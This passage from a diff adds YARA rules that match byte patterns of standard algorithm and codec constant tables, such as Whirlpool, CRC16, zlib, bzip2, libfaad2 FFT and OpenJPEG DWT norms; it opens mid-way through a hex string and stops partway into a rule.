0005d7401000fea00005d7401000fea00000fea0000a39100000fea0000a3910000143b0100cdcc0000143b0100cdcc0000cdcc000012830000cdcc000012830000143b0100cdcc0000143b0100cdcc0000cdcc000012830000cdcc000012830000922401000bb60000922401000bb600000bb60000fa7100000bb60000fa710000922401000bb60000922401000bb600000bb60000fa7100000bb60000fa71000000000100d7a3000000000100d7a30000d7a30000dc680000d7a30000dc68000000000100d7a3000000000100d7a30000d7a30000dc680000d7a30000dc6800008ee30000788e00008ee30000788e0000788e0000655a0000788e0000655a00008ee30000788e00008ee30000788e0000788e0000655a0000788e0000655a0000cdcc0000087e0000cdcc0000087e0000087e0000ec510000087e0000ec510000cdcc0000087e0000cdcc0000087e0000087e0000ec510000087e0000ec5100002fba0000077500002fba00000775000007750000d148000007750000d14800002fba0000077500002fba00000775000007750000d148000007750000d14800008a9d0000666600008a9d000066660000666600008941000066660000894100008a9d0000666600008a9d0000666600006666000089410000666600008941000049920000065b000049920000065b0000065b0000fd380000065b0000fd38000049920000065b000049920000065b0000065b0000fd380000065b0000fd38000000800000ec51000000800000ec510000ec5100006e340000ec5100006e34000000800000ec51000000800000ec510000ec5100006e340000ec5100006e340000c77100003c470000c77100003c4700003c470000322d00003c470000322d0000c77100003c470000c77100003c4700003c470000322d00003c470000322d000066660000043f000066660000043f0000043f0000f6280000043f0000f628000066660000043f000066660000043f0000043f0000f6280000043f0000f6280000175d0000843a0000175d0000843a0000843a000069240000843a000069240000175d0000843a0000175d0000843a0000843a000069240000843a000069240000c54e000033330000c54e00003333000033330000c520000033330000c5200000c54e000033330000c54e00003333000033330000c520000033330000c520000025490000832d000025490000832d0000832d00007e1c0000832d00007e1c000025490000832d000025490000832d0000832d00007e1c0000832d00007e1c000000400000f628000000400000f6280000f6280000371a0000f6280000371a000000400000f628000000400000f6280000f6280000371a0000f6280000371a0000e43800009e230000e43800009e2300009e230000991600009e23000099160000e43800009e230000e43800009e2300009e230000991600009e2300009916000033330000821f000033330000821f0000821f00007b140000821f00007b14000033330000821f000033330000821f0000821f00007b140000821f00007b1400008c2e0000421d00008c2e0000421d0000421d000034120000421d0000341200008c2e0000421d00008c2e0000421d0000421d000034120000421d000034120000622700009a190000622700009a1900009a190000621000009a19000062100000622700009a190000622700009a1900009a190000621000009a1900006210000092240000c116000092240000c1160000c11600003f0e0000c11600003f0e000092240000c116000092240000c1160000c11600003f0e0000c11600003f0e0000002000007b140000002000007b1400007b1400001b0d00007b1400001b0d0000002000007b140000002000007b1400007b1400001b0d00007b1400001b0d0000721c0000cf110000721c0000cf110000cf1100004d0b0000cf1100004d0b0000721c0000cf110000721c0000cf110000cf1100004d0b0000cf1100004d0b00009a190000c10f00009a190000c10f0000c10f00003d0a0000c10f00003d0a00009a190000c10f00009a190000c10f0000c10f00003d0a0000c10f00003d0a000046170000a10e000046170000a10e0000a10e00001a090000a10e00001a09000046170000a10e000046170000a10e0000a10e00001a090000a10e00001a090000b1130000cd0c0000b1130000cd0c0000cd0c000031080000cd0c000031080000b1130000cd0c0000b1130000cd0c0000cd0c000031080000cd0c00003108000049120000610b000049120000610b0000610b000020070000610b00002007000049120000610b000049120000610b0000610b000020070000610b000020070000001000003d0a0000001000003d0a00003d0a00008e0600003d0a00008e060000001000003d0a0000001000003d0a00003d0a00008e0600003d0a00008e060000390e0000e8080000390e0000e8080000e8080000a6050000e8080000a6050000390e0000e8080000390e0000e8080000e8080000a6050000e8080000a6050000cd0c0000e0070000cd0c0000e0070000e00700001f050000e00700001f050000cd0c0000e0070000cd0c0000e0070000e00700001f050000e00700001f050000a30b000050070000a30b000050070000500700008d040000500700008d040000a30b000050070000a30b000050070000500700008d040000500700008d040000d909000066060000d90900006606000066060000190400006606000019040000d909000066060000d9090000660600006606000019040000660600001904000025090000b005000025090000b0050000b005000090030000b00500009003000025090000b005000025090000b0050000b005000090030000b005000090030000000800001f050000000800001f0500001f050000470300001f05000047030000000800001f050000000800001f0500001f050000470300001f050000470300001c070000740400001c0700007404000074040000d302000074040000d30200001c070000740400001c0700007404000074040000d302000074040000d302000066060000f003000066060000f0030000f00300008f020000f00300008f02000066060000f003000066060000f0030000f00300008f020000f00300008f020000d1050000a8030000d1050000a8030000a803000047020000a803000047020000d1050000a8030000d1050000a8030000a803000047020000a803000047020000ec04000033030000ec04000033030000330300000c020000330300000c020000ec04000033030000ec04000033030000330300000c020000330300000c02000092040000d802000092040000d8020000d8020000c8010000d8020000c801000092040000d802000092040000d8020000d8020000c8010000d8020000c8010000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_ccpl_huffcodes6__16_lil_126_
+{
+strings:
+	$a0 = { 040005000500060006000700070007000700080008000800080009000900090009000a000a000a000a000a000b000b000b000b000c000d000e000e00100000000a0018001900360037007400750076007700f400f500f600f700f501f601f701f801f603f703f803f903fa03fa07fb07fc07fd07fd0ffd1ffd3ffe3fffff }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_rear_opposite_side___135_degree___flt64___64_lil_1024_
+{
+strings:
+	$a0 = { 3bfe2eefce00203fcb9ed209f8d7f6be2485eefd756cd83e5e7661d6d789e9bebc1f8d397b0d10bf94d1a9af2961d73eae75242217e009bf90ef80aedabfb33ea8cdb3bb8c0e0fbf82737c112ceee33ed937fd13879623bf0f3d35ea080e203f09a0eefd204519bf2206572fad3dd93e2dad4ddfd994013f41f01c54135129bf9b225b9b8bc1403f3ecf17deeb9942bff23dbaab23c1533f5e965ce389b44e3fb0f18522c0d3723f46b630459eda5ebfa4a2bcf2a2cf80bf7a32a178a4466f3fd31f616235df813f2b6aecb98e0fb13f226924370861b13f0cd226d62a00a7bfd7e7cbbaf894a4bf67547a91f9d49a3f77f8bf6947038c3fb115880fa65b8dbfa01b54382dc5843f8971ee786497bd3f7d644681524ec43fa255464a16b5ae3f634eafe3a822733f92f92e429820a03f840a24ce915d8d3f733b40d519358ebf733c583a640c95bf1d944eb6f7afabbf8a05b14a8ce2b3bf82f6012fbbbfa9bf6f383769388c9fbf5286aeba036ba1bfe9701441bb409fbf86cf6b5145048dbf891714df0563883f22c1e95505428d3f7072967f421f7a3f3286ae42f0fd923f8ee1b661e4f99c3f02b98c8be2d3993fbdc60b863d75963f8dcf6982912e943ff88022bb25b5913f153483562fe3913f0af66e01d9ec833f6c82856b346368bf8363f3165d9983bf0f3cdba8438390bf69446a508d0b9ebf54f54e54362aa5bfbd4c5fac7a4aa6bfab224705f0c2a3bfd630db2d47839cbf91fcb5f3757393bfb02bb545db508abf661cfbef0b2d72bf39451d25489a323f00f9d051aef06e3f2ed7b9d5b486803f69119d6441f3813f60bbf729446d803f0802598224fa7b3fc43430532d2c623f50693f35b3c660bf0df3cb709b5f70bfe430c6128af17cbffc776405c04483bfdde59e842f6786bf507f9793be1d88bf046c6516385487bfb770031525ae85bfe49a0053752884bfea512a51d2c17fbf87e8617aa35077bfe004075bdba67abf4dae69fed3e575bf1f36800c2c0770bfd1e744a3ec906dbf01c0507c35a760bf2457b2de4581273f83d89e656bda6a3fec34171b8742703f39a198b377a9603f77eb06c421be1dbf8447b91a130e5ebf59da578213236dbfee3c8de9a07671bf889886bcd11668bf1aadb781de216cbf42edac1afeab78bf9f57c6e9f1b97fbf3fc97b19483480bf440962e8b99b79bf9d8fc55dafbd75bf1716bc0a47d076bfc58c9c59071b73bf41cd432e48ec6ebf0dfe756b7c1a71bf48095942f21573bf4c7f209fe68374bf740720806b6073bf0914bea89ce26bbf7937391c98085cbfecadbfe349f643bf3bea09ea8f4c5abffa5f6aac94236bbf58f4445c5f7472bf9fcc2da8eb0171bf1fc391cbe25d6abfa489d911925866bf7676ee1241195cbf18f749ab9ca054bf2639a2a6a95b5ebff6cea5697acf64bf }
+
+condition:
+	$a0
+}
+
+	
+rule Zlib_base_length__8_byt_29_
+{
+strings:
+	$a0 = { 0001020304050607080a0c0e1014181c202830384050607080a0c0e000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavformat_CODEC_ID_AMR_NB_packet_size__8_byt_16_
+{
+strings:
+	$a0 = { 0d0e101214151b200600000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_C1__64_big_2048_
+{
+strings:
+	$a0 = { 781818281878c0d8af23236523af0526f9c6c657c6f97eb86fe8e825e86f13fba187879487a14ccb62b8b8d5b862a91105010103010508096e4f4fd14f6e420dee36365a36eead9b04a6a6f7a60459ffbdd2d26bd2bdde0c06f5f502f506fb0e8079798b7980ef96ce6f6fb16fce5f30ef9191ae91effc6d075252f65207aaf8fd6060a060fd274776bcbcd9bc768935cd9b9bb09bcdac378c8e8e8f8e8c048a15a3a3f8a31571d23c0c0c140c3c606c8a7b7b8d7b8aff84e135355f35e1b580691d1d271d69e8f547e0e03de04753b3acd7d764d7acf621edc2c25bc2ed5e9c962e2e722e966d437a4b4bdd4b7a622921fefe1ffe21a35d165757f9571682d54115153f1541a8bdb677779977b69fe8eb37375937eba59256e5e532e5567b9ed99f9fbc9fd98c1317f0f00df017d3237f4a4ade4a7f6a2095dada73da959e44255858e85825faa2cac9c946c9ca06cf8d29297b298d557c220a0a1e0a22505a4fb1b1ceb14fe1501aa0a0fda01a69c9da6b6bbd6bda7f14ab85859285ab5cd973bdbddabd73813c345d5de75d34d28f501010301050809003f4f401f403f307c0cbcb40cbc016ddc63e3e423ec6edd31105050f0511282de66767a967e61f7853e4e431e4537397bb27276927bb2502584141c3415832739d8b8b808b9d2ca701a7a7f4a70151f6947d7d877d94cfb2fb9595a295fbdc499fd8d875d89f8e5630fbfb10fb308b7071eeee2fee7123cd917c7c847c91c7bbe36666aa66e317718edddd7add8ea67b4b171739174bb8af464747c947460245dc9e9ebf9edc841ac5caca43cac51ed4992d2d772d99755879bfbfdcbf79912e1b070709071b383f23adadeaad2301ac2f5a5aee5a2feab0b583839883b56cefff33335533ff85b6f26363a563f23f5c0a020206020a101238aaaae3aa383993a871719371a8afdecfc8c845c8cf0ec67d19192b197dc8d1704949db4970723b9ad9d976d99a865f1df2f20bf21dc33148e3e338e3484ba82a5b5bed5b2ae2b992888885889234bcc89a9ab39ac8a43ebe26266a26be2d0bfa32325632fa8dbf4ab0b0cdb04ae9596ae9e926e96a1bf2330f0f110f337877a6d5d562d5a6e633ba80809d80ba74f47cbebedfbe7c9927decdcd4acdde26ebe434345c34e4bd89754848d848757a3224ffff1cff24ab548f7a7a8e7a8ff78dea9090ad90eaf4643e5f5fe15f3ec29da020206020a01d3dd56868b868d5670f721a1a2e1a72d0ca2caeaeefae2c19b75eb4b4c1b45ec97d195454fc54199acee59393a893e5ec7faa22226622aa0d2fe96464ac64e9076312f1f10ef112db2aa273739573a2bfcc5a121236125a90825d4040c0405d3a7a2808081808284048e8c3c358c3e856957becec29ec7b33df90dbdb70db90964d1fa1a1fea11f61c0838d8d8a8d831c91c93d3d473dc9f5c8f19797a497f1cc5b0000000000000000d4cfcf4ccfd436f9872b2b7d2b87456eb376769a76b397e1b082829b82b064e6a9d6d667d6a9fe28771b1b2d1b77d8c35bb5b5c2b55bc17429afafecaf2911bedf6a6abe6adf771d0d5050f0500dbaea4c4545cf454c125718f3f308f318cb38f030305030f09dad74efef2cef742bc4c33f3f413fc3e5da1c5555ff551c92c710a2a2fba21079db65eaea23ea6503e9ec6565af65ec0f6a68babad3ba68b903932f2f712f93654ae7c0c05dc0e74e8e81dede7fde81be606c1c1c241c6ce0fc2efdfd1afd2ebb46644d4dd74d64521fe09292ab92e0e476bc75759f75bc8ffa1e06060a061e3036988a8a838a9824ae40b2b2cbb240f94b59e6e637e6596385360e0e120e36707e631f1f211f63f8e7f76262a662f73755a3d4d461d4a3ee3a32a8a8e5a8322981f49696a796f4c4523af9f916f93a9b62f6c5c552c5f666a3b125256f25b13510205959eb5920f2abae84849184ae54d0a772729672a7b7c5dd39394b39ddd5ec614c4cd44c615a163b5e5ee25e3bca94857878887885e79fd838384838d8dde5868c8c898c861498b2d1d16ed1b2c6170ba5a5f2a50b41e44de2e23be24d43a1f86161a361f82f4e45b3b3c8b345f142a521216321a51534d69c9cb99cd69408661e1e221e66f0ee524343c543522261fcc7c754c7fc76b12bfcfc19fc2bb34f1404040c04142024085151f35108b2e3c79999b699c7bc25c46d6db76dc44f22390d0d170d39686535fafa13fa35837984dfdf7cdf84b6699b7e7e827e9bd7a9b424246c24b43d19d73b3b4d3bd7c5fe3dababe0ab3d319ad1cece4fced13ef05511113311558899898f8f8c8f890c836b4e4ed24e6b4a0451b7b7c4b751d16660ebeb20eb600be0cc3c3c443cccfdc1bf81819e81bf7cfdfe9494a194fed4400cf7f704f70ceb1c67b9b9d6b967a1185f131335135f988b9c2c2c742c9c7d51b8d3d368d3b8d6055ce7e734e75c6b8ccb6e6eb26ecb5739f3c4c451c4f36eaa0f030305030f181b135656fa56138adc494444cc44491a5e9e7f7f817f9edfa037a9a9e6a9372188822a2a7e2a824d676dbbbbd0bb6db10ae2c1c15ec1e24687025353f55302a2f18bdcdc79dc8bae72270b0b1d0b275853d39d9dba9dd39c01c16c6cb46cc1472bf531315331f595a4b974749c74b987f309f6f607f609e315434646ca46430a4c26acace9ac2609a59789898689973cb54414143c1444a0b442e1e13ee1425bba4e16163a164eb0a6d23a3a4e3ad2cdf7d06969bb69d06f062d09091b092d4841ad70709070ada7d754b6b6c7b654d96fb7d0d06dd0b7ce1e7eeded2aed7e3bd6dbcccc49ccdb2ee2574242c642572a68c29898b598c2b42c0ea4a4f1a40e49ed8828287828885d75315c5ce45c31da863ff8f815f83f936ba486869786a444c2 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_64_1024__16_lil_94_
+{
+strings:
+	$a0 = { 040008000c001000140018001c002000240028002c003000340038004000480050005800640070007c008c009c00ac00c000d800f0000c01300158018001a801d001f8012002480270029802c002e8021003380360038803b003d8030004 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_256__flt64___64_lil_4096_
+{
+strings:
+	$a0 = { 000000000000f03f00000000000000000000006088fdef3fabffffff5521993fffffffdf21f6ef3fd5ffffff651fa93f040000a0cde9ef3febffff9f20d5b23f040000a08dd8ef3f0f0000c0a617b93ffcffff7f64c2ef3fecffff5f4e56bf3ffdffff7f55a7ef3ff2ffff5f10c8c23f040000006587ef3f0f00006014e2c53ffdffffbf9762ef3f0a000040b8f8c83ffeffff9ff338ef3ff9ffff5f820bcc3f020000007f0aef3ffcffff9ff919cf3ffcffffdf40d7ee3f02000080d211d13f04000060419fee3f000000200694d23f000000e08862ee3ffbffff9f5c13d43f030000002121ee3ffdffff7f9a8fd53f040000c013dbed3ffbffff3f8508d73ffdffffbf6b90ed3ffbffffbfe27dd83ffeffffbf3441ed3ff8ffff5f79efd93f000000007bedec3f07000000105ddb3f000000204b95ec3ffeffff9f6ec6dc3f040000e0b238ec3ffcffff3f5d2bde3f010000a0c0d7eb3f04000000a58bdf3fffffff3f8372eb3ffdffff9f8773e03ffdffff5f0a09eb3f03000060b31ee13ffcffff1f669bea3f040000403bc7e13f020000a0a729ea3ffdffff5f056de23f00000040e0b3e93ffdfffffff70fe33ffcffff3f223ae93ffdffff3ffaafe33ffdffff5f80bce83f01000040f34ce43f010000000e3be83f030000c0cae6e43fffffff1fdfb5e73f01000040697de53ffeffff3f082de73f05000060b710e63ffcffff5f9ea0e63ffcffff5f9ea0e63f02000040b710e63ffeffff3f082de73fffffff1f697de53f01000040dfb5e73f010000a0cae6e43f030000200e3be83fffffff1ff34ce43ffdffff5f80bce83f04000020faafe33ffcffff3f223ae93ffdfffffff70fe33f00000040e0b3e93f04000040056de23f020000a0a729ea3f020000203bc7e13ffeffff3f669bea3f03000060b31ee13ffdffff5f0a09eb3f040000808773e03f010000608372eb3ff9ffffdfa48bdf3f010000a0c0d7eb3fffffffdf5c2bde3ffdffffffb238ec3f050000806ec6dc3f000000204b95ec3f00000020105ddb3f000000007bedec3f0600002079efd93f000000e03441ed3f020000a0e27dd83ffdffffbf6b90ed3ffeffffdf8408d73f040000c013dbed3f040000609a8fd53f030000002121ee3ffeffff3f5c13d43f020000008962ee3f070000000694d23f04000060419fee3ff7ffff5fd211d13ffcffffdf40d7ee3ffbfffffff819cf3f020000007f0aef3f00000040820bcc3ffeffff9ff338ef3f10000080b7f8c83fffffffdf9762ef3fffffffff13e2c53f040000006587ef3f080000a010c8c23ffdffff7f55a7ef3ff9ffff7f4d56bf3ffcffff7f64c2ef3ff2ffff9fa617b93f040000a08dd8ef3fe8ffff5f1fd5b23f040000a0cde9ef3fe2ffff1f651fa93fffffffdf21f6ef3f300000c04f21993f0000006088fdef3f000000000000f03f0000000000000000ffffffdf21f6ef3fd5ffffff651fa93f040000a08dd8ef3f0f0000c0a617b93ffdffff7f55a7ef3ff2ffff5f10c8c23ffdffffbf9762ef3f0a000040b8f8c83f020000007f0aef3ffcffff9ff919cf3f04000060419fee3f000000200694d23f030000002121ee3ffdffff7f9a8fd53ffdffffbf6b90ed3ffbffffbfe27dd83f000000007bedec3f07000000105ddb3f040000e0b238ec3ffcffff3f5d2bde3fffffff3f8372eb3ffdffff9f8773e03ffcffff1f669bea3f040000403bc7e13f00000040e0b3e93ffdfffffff70fe33ffdffff5f80bce83f01000040f34ce43fffffff1fdfb5e73f01000040697de53ffcffff5f9ea0e63ffcffff5f9ea0e63fffffff1f697de53f01000040dfb5e73fffffff1ff34ce43ffdffff5f80bce83ffdfffffff70fe33f00000040e0b3e93f020000203bc7e13ffeffff3f669bea3f040000808773e03f010000608372eb3fffffffdf5c2bde3ffdffffffb238ec3f00000020105ddb3f000000007bedec3f020000a0e27dd83ffdffffbf6b90ed3f040000609a8fd53f030000002121ee3f070000000694d23f04000060419fee3ffbfffffff819cf3f020000007f0aef3f10000080b7f8c83fffffffdf9762ef3f080000a010c8c23ffdffff7f55a7ef3ff2ffff9fa617b93f040000a08dd8ef3fe2ffff1f651fa93fffffffdf21f6ef3fcdd36abda57767be000000000000f03fcbffff1f681fa9bfffffffdf21f6ef3fe6ffff1fa817b9bf040000a08dd8ef3f0900004011c8c2bffdffff7f55a7ef3f0a000040b8f8c8bffdffffbf9762ef3ffcffff9ff919cfbf020000007f0aef3f040000600694d2bf02000040419fee3f010000c09a8fd5bf030000002121ee3fffffffffe27dd8bffdffffbf6b90ed3f07000000105ddbbf000000007bedec3ff9ffff9f5d2bdebf040000e0b238ec3ffdffff9f8773e0bfffffff3f8372eb3fffffff7f3bc7e1bf03000000669bea3fffffff1ff80fe3bf00000040e0b3e93fffffff1ff34ce4bfffffff7f80bce83f03000060697de5bffdffffffdeb5e73ffcffff5f9ea0e6bffcffff5f9ea0e63f03000060dfb5e7bffdffffff687de53fffffff7f80bce8bfffffff1ff34ce43f04000080e0b3e9bf000000a0f70fe33ffeffff3f669beabf020000203bc7e13fffffff3f8372ebbffdffff9f8773e03fffffff1fb338ecbf060000c05c2bde3f000000007bedecbffcffffdf0f5ddb3f010000006c90edbf01000000e27dd83ffcffff1f2121eebff9ffff3f9a8fd53f04000060419feebf040000600694d23f020000007f0aefbf100000a0f819cf3fffffffdf9762efbf11000020b8f8c83ffdffff7f55a7efbf0d0000400fc8c23f040000a08dd8efbff1ffffffa517b93fffffffdf21f6efbff5ffff9f5f1fa93f000000000000f03f0000000000000000040000a0cde9ef3febffff9f20d5b23ffdffff7f55a7ef3ff2ffff5f10c8c23ffeffff9ff338ef3ff9ffff5f820bcc3f04000060419fee3f000000200694d23f040000c013dbed3ffbffff3f8508d73f000000007bedec3f07000000105ddb3f010000a0c0d7eb3f04000000a58bdf3ffcffff1f669bea3f040000403bc7e13ffeffff5f223ae93f04000020faafe33fffffff1fdfb5e73f01000040697de53f02000040b710e63ffeffff3f082de73fffffff1ff34ce43ffdffff5f80bce83ffdffff5f056de23f020000a0a729ea3f040000808773e03f010000608372eb3f050000806ec6dc3f000000204b95ec3f020000a0e27dd83ffdffffbf6b90ed3ffbffff9f5c13d43f000000e08862ee3f0b000000fa19cf3f020000007f0aef3fffffffff13e2c53f040000006587ef3ff2ffff9fa617b93f040000a08dd8ef3f91ffffbf5721993f0000006088fdef3fcbffff1f681fa9bfffffffdf21f6ef3f190000e04e56bfbf0300006064c2ef3f0a000040b8f8c8bffdffffbf9762ef3ffeffff3fd211d1bffcffffdf40d7ee3ff9ffff3f9a8fd5bf030000002121ee3ff8ffff5f79efd9bffeffffbf3441ed3ff9ffff9f5d2bdebf040000e0b238ec3ffcffff7fb31ee1bf040000400a09eb3fffffff1ff80fe3bf00000040e0b3e93f030000c0cae6e4bf010000000e3be83ffcffff5f9ea0e6bffcffff5f9ea0e63f010000000e3be8bf030000c0cae6e43f00000040e0b3e9bfffffff1ff80fe33f040000400a09ebbffcffff7fb31ee13f040000e0b238ecbff9ffff9f5d2bde3f000000e03441edbf020000e078efd93ffcffff1f2121eebff9ffff3f9a8fd53ffcffffdf40d7eebffeffff3fd211d13fffffffdf9762efbf11000020b8f8c83f0300006064c2efbffcffffbf4e56bf3fffffffdf21f6efbfe7ffff9f671fa93f0000006088fdefbf4e000080502199bf040000a08dd8efbf040000e0a817b9bf040000006587efbf0900002015e2c5bf020000007f0aefbf0b000000fa19cfbf000000e08862eebf060000c05c13d4bffdffffbf6b90edbf020000a0e27dd8bf000000204b95ecbf050000806ec6dcbf010000608372ebbf040000808773e0bf040000c0a729eabf02000020056de2bf010000a080bce8bffdfffffff24ce4bffcffff1f082de7bffeffff7fb710e6bfffffff1f697de5bf01000040dfb5e7bf04000020faafe3bffeffff5f223ae9bffcffffbf3ac7e1bf02000080669beabff9ffffdfa48bdfbf010000a0c0d7ebbf060000600f5ddbbf020000207bedecbfffffff7f8508d7bf020000a013dbedbff8ffff9f0594d2bf04000060419feebf03000080830bccbffeffff9ff338efbf0e0000e00fc8c2bffdffff7f55a7efbf0d0000e023d5b2bf040000a0cde9efbf000000000000f03f0000000000000000040000a08dd8ef3f0f0000c0a617b93ffdffffbf9762ef3f0a000040b8f8c83f04000060419fee3f000000200694d23ffdffffbf6b90ed3ffbffffbfe27dd83f040000e0b238ec3ffcffff3f5d2bde3ffcffff1f669bea3f040000403bc7e13ffdffff5f80bce83f01000040f34ce43ffcffff5f9ea0e63ffcffff5f9ea0e63fffffff1ff34ce43ffdffff5f80bce83f020000203bc7e13ffeffff3f669bea3fffffffdf5c2bde3ffdffffffb238ec3f020000a0e27dd83ffdffffbf6b90ed3f070000000694d23f04000060419fee3f10000080b7f8c83fffffffdf9762ef3ff2ffff9fa617b93f040000a08dd8ef3f000000000000f03f0000000000000000fdffffbf9762ef3f0a000040b8f8c83ffdffffbf6b90ed3ffbffffbfe27dd83ffcffff1f669bea3f040000403bc7e13ffcffff5f9ea0e63ffcffff5f9ea0e63f020000203bc7e13ffeffff3f669bea3f020000a0e27dd83ffdffffbf6b90ed3f10000080b7f8c83fffffffdf9762ef3fcdd36abda57767be000000000000f03f0a000040b8f8c8bffdffffbf9762ef3fffffffffe27dd8bffdffffbf6b90ed3fffffff7f3bc7e1bf03000000669bea3ffcffff5f9ea0e6bffcffff5f9ea0e63ffeffff3f669beabf020000203bc7e13f010000006c90edbf01000000e27dd83fffffffdf9762efbf11000020b8f8c83f000000000000f03f000000000000000004000060419fee3f000000200694d23ffcffff1f669bea3f040000403bc7e13fffffff1ff34ce43ffdffff5f80bce83f020000a0e27dd83ffdffffbf6b90ed3ff2ffff9fa617b93f040000a08dd8ef3f0a000040b8f8c8bffdffffbf9762ef3ff9ffff9f5d2bdebf040000e0b238ec3ffcffff5f9ea0e6bffcffff5f9ea0e63f040000e0b238ecbff9ffff9f5d2bde3fffffffdf9762efbf11000020b8f8c83f040000a08dd8efbf040000e0a817b9bffdffffbf6b90edbf020000a0e27dd8bf010000a080bce8bffdfffffff24ce4bffcffffbf3ac7e1bf02000080669beabff8ffff9f0594d2bf04000060419feebf000000000000f03f0000000000000000fdffffbf6b90ed3ffbffffbfe27dd83ffcffff5f9ea0e63ffcffff5f9ea0e63f020000a0e27dd83ffdffffbf6b90ed3f000000000000f03f0000000000000000fcffff5f9ea0e63ffcffff5f9ea0e63fcdd36abda57767be000000000000f03ffcffff5f9ea0e6bffcffff5f9ea0e63f000000000000f03f0000000000000000020000a0e27dd83ffdffffbf6b90ed3ffcffff5f9ea0e6bffcffff5f9ea0e63ffdffffbf6b90edbf020000a0e27dd8bf000000000000f03f0000000000000000000000000000f03f0000000000000000000000000000f03f0000000000000000873806cdc59b493e000000000000f0bf }
+
+condition:
+	$a0
+}
+
+	
+rule CRC16_poly_0xb005__16_lil_refl_True_
+{
+strings:
+	$a0 = { 0000cbf68dad465b011bcaed8cb647400236c9c08f9b446d032dc8db8e804576046ccf9a89c142370577ce8188da432c065acdac8bf740010741ccb78aec411a08d8c32e85754e8309c3c235846e4f980aeec11887434cb50bf5c00386584dae0cb4c74281194aef0dafc65980024bf40e82c574832f48d90f99c46f823449c20bf0c006865d4dab0aebc11d87464cb009c6c230846b4f9d08ddc32b85704e860f9cc46a823149c70e87c571832a48dc0daac65c80074bf10cb1c747811c4aea0328c8de8e8545730233c9c58f9e4468011ecae88cb347450005cbf38da8465e0744ccb28ae9411f065fcda98bf240040572ce8488df43290469cf9f89c442320da0c656800d4bfb0cbbc74d81164ae00f96c460823b49cd0e8dc57b832048d609ccc23a84614f9708d7c321857a4e8c0bfac00c86574da10ae1c117874c4cba0578ce8e88d543230463cf9589ce4238074eccb88ae341150655cda38bf8400e0114cae28cb9474f000fcbf98da246540322c8d48e8f45790239c9cf8f9444620650cda68bfd400b074bccbd8ae641100466cf9089cb423d057dce8b88d04326023cc9ca8f9144670327c8d18e8a457c000acbfc8da746510111cae78cbc474a0e88c57e832548d30f93c465823e49c80cbec74881134ae50da5c65380084bfe0ae4c11287494cbf0bffc00986524da408d2c324857f4e8909c9c23f84644f92 }
+
+condition:
+	$a0
+}
+
+	
+rule Bzip2_BZ2_rNums__16_lil_1024_
+{
+strings:
+	$a0 = { 6b02d0027f00e101a30330032d03e9003602f700d903d402cd00c6015f03eb01e502f200b503d600dd025b034f01c4026d023e0249008e02da02d801a301b4011601f0016303d2008f01a802e00133006e03d1012b03a9006503a3026302b902630331025e03af02fb011b01e201810027034f02dd026f029600ee003b007b01ac026d037102a90083026900aa005f020802a403d702dc01b502a901ae00870249007a004f011202ba015503b702f900bd0103028d032102bf0297036a03da017203f4015202640281022103dc00a2003303d8034d020102ef011f03a1005c02be031502dd0090018201630358020e037e0154029e01ab0004027701aa02e5018f03140162002902a30062019a02a503a801550115026603e300da02db01ba00070187021902ae025802e000d501440002039703be007501260136032803ce00b800af031b0380017f01cd019401f60247037703cb0243006a021401cc009603690309035c023002b703a0004202d2024f00240360009901c902ac038c02a603ca03bf013e0161015b03a0027000110385025f0323035e018b005d006201630034038c03610204039a0012014402b8004f0072027602e6028d021a01fa026f02a80251009f03720215037d009b010902aa032c0135034e005701af008000fa00aa000603cc031301e7037f02ef014e0060017e005903bc0366016b0244027c00e1025202bd0264029d0270008600b6026b01e0032903e702a800ce03b0037701ec0234005802eb028202b6005e03510058012503dc03e302ff018f022e034e01f90003028103bb039802d50389027100ce03cb017d03e400b101450329020c019e03f00066008e02cb013300ae02f2022603f802ed0193019f018a01af02bc02b2039e0290026202e2028801f8021f0377038d02d2034101400269027202f6017e03a702f300b801a8026f03c2003c028002d4029e033800cc00bc02c3029700c901c1011d03c30017032e02b103a70229013b0057003803c90297029c01b50256015e0286006c003b026c017702d400ae0083023001490157016100ae01ef02f1013a01d70376013603a0038c00ce0049000701d403e0026c03de01ae013101aa0002026c01b4023d0352005703b903a402f6007101ca032601ee0227033b039600160320019b0324037a01d7003c035002190135022b02c602520080033f03230205010c02ce012501d101f601380095023503d003df03920265038903f602e902c100000326026002a5037a011e01d700d3031803c1033d00b00219038402da0393016a006e018903840274013702d201b2018502d20085012602970387000c0305037b028501c30264007202be03a500f8019803b000c100c90259030901cb0032009c026c008502de037202c500fe016501660152035a036c01a8037e02 }
+
+condition:
+	$a0
+}
+
+	
+rule OpenJPEG_dwt_norms__flt64___64_big_296_
+{
+strings:
+	$a0 = { 3ff00000000000003ff80000000000004006000000000000401580000000000040255c28f5c28f5c4035570a3d70a3d7404555c28f5c28f64055551eb851eb854065566666666666407554cccccccccd3ff09ba5e353f7cf3ff978d4fdf3b64640075a1cac0831274016cfdf3b645a1d4026a8f5c28f5c294036a3d70a3d70a44046a0000000000040569eb851eb851f40669ccccccccccd3ff09ba5e353f7cf3ff978d4fdf3b64640075a1cac0831274016cfdf3b645a1d4026a8f5c28f5c294036a3d70a3d70a44046a0000000000040569eb851eb851f40669ccccccccccd3fe6fec56d5cfaad3fed7f62b6ae7d563ff9604189374bc740085810624dd2f240181374bc6a7efa4028051eb851eb8540380000000000004047fc28f5c28f5c4057fb851eb851ec }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_16_sbox__16_big_512_
+{
+strings:
